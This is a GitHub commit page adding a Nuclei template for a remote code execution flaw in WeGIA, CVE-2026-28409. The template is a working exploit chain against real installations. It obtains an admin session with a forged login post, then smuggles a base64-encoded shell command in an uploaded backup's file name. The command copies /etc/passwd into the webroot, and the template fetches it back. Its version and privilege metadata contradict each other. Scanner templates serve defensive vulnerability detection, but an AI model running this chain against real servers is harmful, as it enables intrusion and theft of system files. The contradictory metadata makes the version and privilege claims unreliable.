Skip to content

Commit 8fa4cd4

Browse files
authored
Merge pull request #15939 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-28409.yaml - WeGIA <= 3.6.4 - Remote Code Execution
2 parents a869861 + f493397 commit 8fa4cd4

1 file changed

Lines changed: 114 additions & 0 deletions

File tree

http/cves/2026/CVE-2026-28409.yaml

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
id: CVE-2026-28409
2+
3+
info:
4+
name: WeGIA <= 3.6.4 - Remote Code Execution
5+
author: 0x_Akoko
6+
severity: critical
7+
description: |
8+
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
9+
impact: |
10+
Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
11+
remediation: |
12+
Upgrade to version 3.6.5 or later.
13+
reference:
14+
- https://cxsecurity.com/issue/WLB-2026030009
15+
- https://github.com/LabRedesCefetRJ/WeGIA
16+
- https://nvd.nist.gov/vuln/detail/CVE-2026-28409
17+
classification:
18+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
19+
cvss-score: 10.0
20+
cve-id: CVE-2026-28409
21+
cwe-id: CWE-78
22+
metadata:
23+
verified: true
24+
max-request: 4
25+
vendor: labredescefetRJ
26+
product: wegia
27+
shodan-query: http.html:"WeGIA"
28+
fofa-query: body="WeGIA"
29+
tags: cve,cve2026,wegia,rce
30+
31+
variables:
32+
filename: "{{to_lower(rand_text_alpha(8))}}"
33+
34+
flow: http(1) && http(2) && http(3) && http(4)
35+
36+
http:
37+
- raw:
38+
- |
39+
POST /WeGIA/html/login.php HTTP/1.1
40+
Host: {{Hostname}}
41+
Content-Type: application/x-www-form-urlencoded
42+
43+
c=true&cpf=admin&id_pessoa=1
44+
45+
extractors:
46+
- type: regex
47+
name: session
48+
part: header
49+
group: 1
50+
regex:
51+
- 'PHPSESSID=([a-zA-Z0-9]+)'
52+
internal: true
53+
54+
matchers:
55+
- type: dsl
56+
dsl:
57+
- 'status_code == 200'
58+
internal: true
59+
60+
- raw:
61+
- |
62+
POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
63+
Host: {{Hostname}}
64+
Cookie: PHPSESSID={{session}}
65+
Content-Type: multipart/form-data; boundary=----test0boundary
66+
67+
------test0boundary
68+
Content-Disposition: form-data; name="usuario"
69+
70+
1
71+
------test0boundary
72+
Content-Disposition: form-data; name="id_pessoa"
73+
74+
1
75+
------test0boundary
76+
Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
77+
Content-Type: application/gzip
78+
79+
{{hex_decode("1f8b08000000000000030300000000000000000000")}}
80+
------test0boundary--
81+
82+
matchers:
83+
- type: dsl
84+
dsl:
85+
- 'status_code == 302'
86+
internal: true
87+
88+
- raw:
89+
- |
90+
GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
91+
Host: {{Hostname}}
92+
Cookie: PHPSESSID={{session}}
93+
94+
matchers:
95+
- type: dsl
96+
dsl:
97+
- 'status_code == 200'
98+
internal: true
99+
100+
- raw:
101+
- |
102+
GET /WeGIA/{{filename}}.txt HTTP/1.1
103+
Host: {{Hostname}}
104+
105+
matchers-condition: and
106+
matchers:
107+
- type: regex
108+
part: body
109+
regex:
110+
- "root:.*:0:0:"
111+
112+
- type: status
113+
status:
114+
- 200

0 commit comments

Comments
 (0)